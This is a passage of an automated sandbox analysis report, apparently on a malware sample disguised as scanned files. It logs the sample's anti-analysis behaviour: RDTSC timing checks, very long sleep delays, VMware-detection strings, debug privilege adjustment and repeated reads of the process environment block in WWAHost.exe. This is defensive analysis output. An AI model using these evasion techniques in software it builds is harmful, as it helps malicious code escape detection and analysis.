          Source: C:\Windows\SysWOW64\WWAHost.exeRDTSC instruction interceptor: First address: 00000000008785E4 second address: 00000000008785EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\WWAHost.exeRDTSC instruction interceptor: First address: 000000000087897E second address: 0000000000878984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\scan files 15-9-21.exe TID: 6756Thread sleep time: -35907s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exe TID: 6772Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 6308Thread sleep time: -35000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exe TID: 4712Thread sleep time: -38000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\WWAHost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004088B0 rdtsc 2_2_004088B0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeThread delayed: delay time: 35907Jump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000003.00000000.274069496.0000000008A32000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD00dRom0
          Source: explorer.exe, 00000003.00000000.274069496.0000000008A32000.00000004.00000001.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
          Source: explorer.exe, 00000003.00000000.275972062.000000000ECF0000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000003.00000000.274227588.0000000008B88000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: vmware
          Source: explorer.exe, 00000003.00000000.274227588.0000000008B88000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
          Source: explorer.exe, 00000003.00000000.267087744.00000000048E0000.00000004.00000001.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000003.00000000.274140745.0000000008ACF000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
          Source: explorer.exe, 00000003.00000000.274227588.0000000008B88000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: VMWARE
          Source: explorer.exe, 00000003.00000000.274140745.0000000008ACF000.00000004.00000001.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
          Source: explorer.exe, 00000003.00000000.292230436.00000000069DA000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD002
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: VMware SVGA II
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004088B0 rdtsc 2_2_004088B0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366DB60 mov ecx, dword ptr fs:[00000030h]13_2_0366DB60
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367FF60 mov eax, dword ptr fs:[00000030h]13_2_0367FF60
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03693B7A mov eax, dword ptr fs:[00000030h]13_2_03693B7A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03693B7A mov eax, dword ptr fs:[00000030h]13_2_03693B7A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738F6A mov eax, dword ptr fs:[00000030h]13_2_03738F6A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366DB40 mov eax, dword ptr fs:[00000030h]13_2_0366DB40
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367EF40 mov eax, dword ptr fs:[00000030h]13_2_0367EF40
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738B58 mov eax, dword ptr fs:[00000030h]13_2_03738B58
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366F358 mov eax, dword ptr fs:[00000030h]13_2_0366F358
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03664F2E mov eax, dword ptr fs:[00000030h]13_2_03664F2E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03664F2E mov eax, dword ptr fs:[00000030h]13_2_03664F2E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369E730 mov eax, dword ptr fs:[00000030h]13_2_0369E730
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A70E mov eax, dword ptr fs:[00000030h]13_2_0369A70E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A70E mov eax, dword ptr fs:[00000030h]13_2_0369A70E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0372131B mov eax, dword ptr fs:[00000030h]13_2_0372131B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0373070D mov eax, dword ptr fs:[00000030h]13_2_0373070D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0373070D mov eax, dword ptr fs:[00000030h]13_2_0373070D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368F716 mov eax, dword ptr fs:[00000030h]13_2_0368F716
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FFF10 mov eax, dword ptr fs:[00000030h]13_2_036FFF10
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FFF10 mov eax, dword ptr fs:[00000030h]13_2_036FFF10
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036903E2 mov eax, dword ptr fs:[00000030h]13_2_036903E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A37F5 mov eax, dword ptr fs:[00000030h]13_2_036A37F5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E53CA mov eax, dword ptr fs:[00000030h]13_2_036E53CA
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E53CA mov eax, dword ptr fs:[00000030h]13_2_036E53CA
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694BAD mov eax, dword ptr fs:[00000030h]13_2_03694BAD
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694BAD mov eax, dword ptr fs:[00000030h]13_2_03694BAD
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694BAD mov eax, dword ptr fs:[00000030h]13_2_03694BAD
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03735BA5 mov eax, dword ptr fs:[00000030h]13_2_03735BA5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03671B8F mov eax, dword ptr fs:[00000030h]13_2_03671B8F
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03671B8F mov eax, dword ptr fs:[00000030h]13_2_03671B8F
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0371D380 mov ecx, dword ptr fs:[00000030h]13_2_0371D380
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03678794 mov eax, dword ptr fs:[00000030h]13_2_03678794
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0372138A mov eax, dword ptr fs:[00000030h]13_2_0372138A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369B390 mov eax, dword ptr fs:[00000030h]13_2_0369B390
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7794 mov eax, dword ptr fs:[00000030h]13_2_036E7794
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7794 mov eax, dword ptr fs:[00000030h]13_2_036E7794
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E7794 mov eax, dword ptr fs:[00000030h]13_2_036E7794
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692397 mov eax, dword ptr fs:[00000030h]13_2_03692397
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367766D mov eax, dword ptr fs:[00000030h]13_2_0367766D
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A927A mov eax, dword ptr fs:[00000030h]13_2_036A927A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0371B260 mov eax, dword ptr fs:[00000030h]13_2_0371B260
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0371B260 mov eax, dword ptr fs:[00000030h]13_2_0371B260
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738A62 mov eax, dword ptr fs:[00000030h]13_2_03738A62
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368AE73 mov eax, dword ptr fs:[00000030h]13_2_0368AE73
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368AE73 mov eax, dword ptr fs:[00000030h]13_2_0368AE73
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368AE73 mov eax, dword ptr fs:[00000030h]13_2_0368AE73
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368AE73 mov eax, dword ptr fs:[00000030h]13_2_0368AE73
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368AE73 mov eax, dword ptr fs:[00000030h]13_2_0368AE73
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669240 mov eax, dword ptr fs:[00000030h]13_2_03669240
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669240 mov eax, dword ptr fs:[00000030h]13_2_03669240
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669240 mov eax, dword ptr fs:[00000030h]13_2_03669240
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669240 mov eax, dword ptr fs:[00000030h]13_2_03669240
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03677E41 mov eax, dword ptr fs:[00000030h]13_2_03677E41
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036F4257 mov eax, dword ptr fs:[00000030h]13_2_036F4257
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366E620 mov eax, dword ptr fs:[00000030h]13_2_0366E620
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A4A2C mov eax, dword ptr fs:[00000030h]13_2_036A4A2C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A4A2C mov eax, dword ptr fs:[00000030h]13_2_036A4A2C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0371FE3F mov eax, dword ptr fs:[00000030h]13_2_0371FE3F
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366C600 mov eax, dword ptr fs:[00000030h]13_2_0366C600
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366C600 mov eax, dword ptr fs:[00000030h]13_2_0366C600
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366C600 mov eax, dword ptr fs:[00000030h]13_2_0366C600
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03698E00 mov eax, dword ptr fs:[00000030h]13_2_03698E00
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03678A0A mov eax, dword ptr fs:[00000030h]13_2_03678A0A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366AA16 mov eax, dword ptr fs:[00000030h]13_2_0366AA16
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366AA16 mov eax, dword ptr fs:[00000030h]13_2_0366AA16
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03683A1C mov eax, dword ptr fs:[00000030h]13_2_03683A1C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A61C mov eax, dword ptr fs:[00000030h]13_2_0369A61C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A61C mov eax, dword ptr fs:[00000030h]13_2_0369A61C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036776E2 mov eax, dword ptr fs:[00000030h]13_2_036776E2
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036916E0 mov ecx, dword ptr fs:[00000030h]13_2_036916E0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692AE4 mov eax, dword ptr fs:[00000030h]13_2_03692AE4
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692ACB mov eax, dword ptr fs:[00000030h]13_2_03692ACB
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738ED6 mov eax, dword ptr fs:[00000030h]13_2_03738ED6
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036936CC mov eax, dword ptr fs:[00000030h]13_2_036936CC
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A8EC7 mov eax, dword ptr fs:[00000030h]13_2_036A8EC7
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0371FEC0 mov eax, dword ptr fs:[00000030h]13_2_0371FEC0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036652A5 mov eax, dword ptr fs:[00000030h]13_2_036652A5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036652A5 mov eax, dword ptr fs:[00000030h]13_2_036652A5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036652A5 mov eax, dword ptr fs:[00000030h]13_2_036652A5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036652A5 mov eax, dword ptr fs:[00000030h]13_2_036652A5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036652A5 mov eax, dword ptr fs:[00000030h]13_2_036652A5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E46A7 mov eax, dword ptr fs:[00000030h]13_2_036E46A7
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03730EA5 mov eax, dword ptr fs:[00000030h]13_2_03730EA5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03730EA5 mov eax, dword ptr fs:[00000030h]13_2_03730EA5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03730EA5 mov eax, dword ptr fs:[00000030h]13_2_03730EA5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367AAB0 mov eax, dword ptr fs:[00000030h]13_2_0367AAB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367AAB0 mov eax, dword ptr fs:[00000030h]13_2_0367AAB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369FAB0 mov eax, dword ptr fs:[00000030h]13_2_0369FAB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036FFE87 mov eax, dword ptr fs:[00000030h]13_2_036FFE87
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369D294 mov eax, dword ptr fs:[00000030h]13_2_0369D294
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369D294 mov eax, dword ptr fs:[00000030h]13_2_0369D294
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366C962 mov eax, dword ptr fs:[00000030h]13_2_0366C962
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366B171 mov eax, dword ptr fs:[00000030h]13_2_0366B171
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366B171 mov eax, dword ptr fs:[00000030h]13_2_0366B171
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368C577 mov eax, dword ptr fs:[00000030h]13_2_0368C577
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368C577 mov eax, dword ptr fs:[00000030h]13_2_0368C577
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A3D43 mov eax, dword ptr fs:[00000030h]13_2_036A3D43
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368B944 mov eax, dword ptr fs:[00000030h]13_2_0368B944
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368B944 mov eax, dword ptr fs:[00000030h]13_2_0368B944
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E3540 mov eax, dword ptr fs:[00000030h]13_2_036E3540
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03687D50 mov eax, dword ptr fs:[00000030h]13_2_03687D50
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03738D34 mov eax, dword ptr fs:[00000030h]13_2_03738D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03684120 mov eax, dword ptr fs:[00000030h]13_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03684120 mov eax, dword ptr fs:[00000030h]13_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03684120 mov eax, dword ptr fs:[00000030h]13_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03684120 mov eax, dword ptr fs:[00000030h]13_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03684120 mov ecx, dword ptr fs:[00000030h]13_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694D3B mov eax, dword ptr fs:[00000030h]13_2_03694D3B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694D3B mov eax, dword ptr fs:[00000030h]13_2_03694D3B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03694D3B mov eax, dword ptr fs:[00000030h]13_2_03694D3B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369513A mov eax, dword ptr fs:[00000030h]13_2_0369513A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369513A mov eax, dword ptr fs:[00000030h]13_2_0369513A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03673D34 mov eax, dword ptr fs:[00000030h]13_2_03673D34
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366AD30 mov eax, dword ptr fs:[00000030h]13_2_0366AD30
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036EA537 mov eax, dword ptr fs:[00000030h]13_2_036EA537
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669100 mov eax, dword ptr fs:[00000030h]13_2_03669100
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669100 mov eax, dword ptr fs:[00000030h]13_2_03669100
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03669100 mov eax, dword ptr fs:[00000030h]13_2_03669100
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03718DF1 mov eax, dword ptr fs:[00000030h]13_2_03718DF1
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366B1E1 mov eax, dword ptr fs:[00000030h]13_2_0366B1E1
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366B1E1 mov eax, dword ptr fs:[00000030h]13_2_0366B1E1
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366B1E1 mov eax, dword ptr fs:[00000030h]13_2_0366B1E1
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036F41E8 mov eax, dword ptr fs:[00000030h]13_2_036F41E8
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367D5E0 mov eax, dword ptr fs:[00000030h]13_2_0367D5E0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367D5E0 mov eax, dword ptr fs:[00000030h]13_2_0367D5E0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036935A1 mov eax, dword ptr fs:[00000030h]13_2_036935A1
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E69A6 mov eax, dword ptr fs:[00000030h]13_2_036E69A6
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036961A0 mov eax, dword ptr fs:[00000030h]13_2_036961A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036961A0 mov eax, dword ptr fs:[00000030h]13_2_036961A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E51BE mov eax, dword ptr fs:[00000030h]13_2_036E51BE
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E51BE mov eax, dword ptr fs:[00000030h]13_2_036E51BE
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E51BE mov eax, dword ptr fs:[00000030h]13_2_036E51BE
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036E51BE mov eax, dword ptr fs:[00000030h]13_2_036E51BE
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03691DB5 mov eax, dword ptr fs:[00000030h]13_2_03691DB5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03691DB5 mov eax, dword ptr fs:[00000030h]13_2_03691DB5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03691DB5 mov eax, dword ptr fs:[00000030h]13_2_03691DB5
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692581 mov eax, dword ptr fs:[00000030h]13_2_03692581
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692581 mov eax, dword ptr fs:[00000030h]13_2_03692581
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692581 mov eax, dword ptr fs:[00000030h]13_2_03692581
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03692581 mov eax, dword ptr fs:[00000030h]13_2_03692581
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368C182 mov eax, dword ptr fs:[00000030h]13_2_0368C182
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369A185 mov eax, dword ptr fs:[00000030h]13_2_0369A185
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03662D8A mov eax, dword ptr fs:[00000030h]13_2_03662D8A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03662D8A mov eax, dword ptr fs:[00000030h]13_2_03662D8A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03662D8A mov eax, dword ptr fs:[00000030h]13_2_03662D8A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03662D8A mov eax, dword ptr fs:[00000030h]13_2_03662D8A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03662D8A mov eax, dword ptr fs:[00000030h]13_2_03662D8A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369FD9B mov eax, dword ptr fs:[00000030h]13_2_0369FD9B
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369FD9B mov eax, dword ptr fs:[00000030h]13_2_0369FD9B
